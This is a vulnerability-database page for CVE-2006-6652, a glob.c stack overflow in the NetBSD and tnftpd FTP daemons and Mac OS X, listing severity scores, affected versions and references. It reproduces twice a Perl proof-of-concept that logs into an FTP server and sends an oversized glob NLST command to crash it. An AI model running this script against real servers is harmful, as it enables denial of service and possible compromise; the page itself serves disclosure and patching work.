CVE-2006-6652 : Detail

CVE-2006-6652

Overflow
32.53%V4
Network
2006-12-20
01h00 +00:00
2017-07-28
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

Buffer overflow in the glob implementation (glob.c) in libc in NetBSD-current before 20050914, NetBSD 2.* and 3.* before 20061203, and Apple Mac OS X before 2007-004, as used by the FTP daemon and tnftpd, allows remote authenticated users to execute arbitrary code via a long pathname that results from path expansion.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 2874

Publication date : 2006-11-29 23h00 +00:00
Author : kingcope
EDB Verified : Yes

#!perl # $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$ # # About # # tnftpd is a port of the NetBSD FTP server to other systems. # It offers many enhancements over the traditional BSD ftpd, # including per-class configuration directives via ftpd.conf(5), # RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6, # transfer rate throttling, and more. # tnftpd was formerly known as lukemftpd, # and earlier versions are present in Mac OS X 10.2 (as ftpd) # and FreeBSD 5.0 (as lukemftpd). # # Description # # The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun, # which can lead to a root compromise. # # The bug is in glob.c file. The globbing mechanism is flawed as back in # 2001. # # To trigger the overflow you can create a folder and use the globbing # special characters (like STARS) to overflow an internal stack based buffer. # # gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 : # (gdb) c # Continuing. # # Program received signal SIGSEGV, Segmentation fault. # 0x00410041 in ?? () # (gdb) # # tnftpd-20040810 behaves similar. # FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested, # however they could have the same bug, because of the same # codebase. # # The problem when exploiting this kind of bug is, # that we can only control 0x00410041, not the whole # 32 bit. However it looks feasible to find a way # to do a hole EIP redirection and/or exploit # the bug the "unicode" way, which could be especially # hard on BSD systems. # kcope use IO::Socket; $sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10', PeerPort => '21', Proto => 'tcp'); $c = "C"; $a = "C" x 255; $d = "A" x 450; print $sock "USER kcope\r\n"; print $sock "PASS remoteroot\r\n"; $x = <stdin>; print $sock "MKD $a\r\n"; print $sock "NLST C*/../C*/../C*/../$d\r\n"; print $sock "QUIT\r\n"; while (<$sock>) { print; } # milw0rm.com [2006-11-30]
Exploit Database EDB-ID : 29204

Publication date : 2006-11-30 23h00 +00:00
Author : kcope
EDB Verified : Yes

source: https://www.securityfocus.com/bid/21377/info NetBSD ftpd and tnftpd are prone to a remote buffer-overflow vulnerability. This issue is due to an off-by-one error; it allows attackers to corrupt memory. Remote attackers may execute arbitrary machine code in the context of the user running the affected application. Failed attempts will likely result in denial-of-service conditions. #!perl # $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$ # # About # # tnftpd is a port of the NetBSD FTP server to other systems. # It offers many enhancements over the traditional BSD ftpd, # including per-class configuration directives via ftpd.conf(5), # RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6, # transfer rate throttling, and more. # tnftpd was formerly known as lukemftpd, # and earlier versions are present in Mac OS X 10.2 (as ftpd) # and FreeBSD 5.0 (as lukemftpd). # # Description # # The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun, # which can lead to a root compromise. # # The bug is in glob.c file. The globbing mechanism is flawed as back in # 2001. # # To trigger the overflow you can create a folder and use the globbing # special characters (like STARS) to overflow an internal stack based buffer. # # gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 : # (gdb) c # Continuing. # # Program received signal SIGSEGV, Segmentation fault. # 0x00410041 in ?? () # (gdb) # # tnftpd-20040810 behaves similar. # FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested, # however they could have the same bug, because of the same # codebase. # # The problem when exploiting this kind of bug is, # that we can only control 0x00410041, not the whole # 32 bit. However it looks feasible to find a way # to do a hole EIP redirection and/or exploit # the bug the "unicode" way, which could be especially # hard on BSD systems. # kcope use IO::Socket; $sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10', PeerPort => '21', Proto => 'tcp'); $c = "C"; $a = "C" x 255; $d = "A" x 450; print $sock "USER kcope\r\n"; print $sock "PASS remoteroot\r\n"; $x = ; print $sock "MKD $a\r\n"; print $sock "NLST C*/../C*/../C*/../$d\r\n"; print $sock "QUIT\r\n"; while (<$sock>) { print; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version 10.0

Apple>>Mac_os_x >> Version 10.0.1

Apple>>Mac_os_x >> Version 10.0.2

Apple>>Mac_os_x >> Version 10.0.3

Apple>>Mac_os_x >> Version 10.0.4

Apple>>Mac_os_x >> Version 10.1

Apple>>Mac_os_x >> Version 10.1.1

Apple>>Mac_os_x >> Version 10.1.2

Apple>>Mac_os_x >> Version 10.1.3

Apple>>Mac_os_x >> Version 10.1.4

Apple>>Mac_os_x >> Version 10.1.5

Apple>>Mac_os_x >> Version 10.2

Apple>>Mac_os_x >> Version 10.2.1

Apple>>Mac_os_x >> Version 10.2.2

Apple>>Mac_os_x >> Version 10.2.3

Apple>>Mac_os_x >> Version 10.2.4

Apple>>Mac_os_x >> Version 10.2.5

Apple>>Mac_os_x >> Version 10.2.6

Apple>>Mac_os_x >> Version 10.2.7

Apple>>Mac_os_x >> Version 10.2.8

Apple>>Mac_os_x >> Version 10.3

Apple>>Mac_os_x >> Version 10.3.1

Apple>>Mac_os_x >> Version 10.3.2

Apple>>Mac_os_x >> Version 10.3.3

Apple>>Mac_os_x >> Version 10.3.4

Apple>>Mac_os_x >> Version 10.3.5

Apple>>Mac_os_x >> Version 10.3.6

Apple>>Mac_os_x >> Version 10.3.7

Apple>>Mac_os_x >> Version 10.3.8

Apple>>Mac_os_x >> Version 10.3.9

Apple>>Mac_os_x >> Version 10.4

Apple>>Mac_os_x >> Version 10.4.1

Apple>>Mac_os_x >> Version 10.4.2

Apple>>Mac_os_x >> Version 10.4.3

Apple>>Mac_os_x >> Version 10.4.4

Apple>>Mac_os_x >> Version 10.4.5

Apple>>Mac_os_x >> Version 10.4.6

Apple>>Mac_os_x >> Version 10.4.7

Apple>>Mac_os_x >> Version 10.4.8

Apple>>Mac_os_x >> Version 10.4.9

Apple>>Mac_os_x >> Version 10.4.10

Configuraton 0

Netbsd>>Netbsd >> Version 2.0

Netbsd>>Netbsd >> Version 2.1

Netbsd>>Netbsd >> Version 3.0

Netbsd>>Netbsd >> Version 3.1

References

http://secunia.com/advisories/24966
Tags : third-party-advisory, x_refsource_SECUNIA
http://securitytracker.com/id?1017386
Tags : vdb-entry, x_refsource_SECTRACK
http://www.osvdb.org/31781
Tags : vdb-entry, x_refsource_OSVDB
http://www.us-cert.gov/cas/techalerts/TA07-109A.html
Tags : third-party-advisory, x_refsource_CERT
http://secunia.com/advisories/23178
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/21377
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2007/1470
Tags : vdb-entry, x_refsource_VUPEN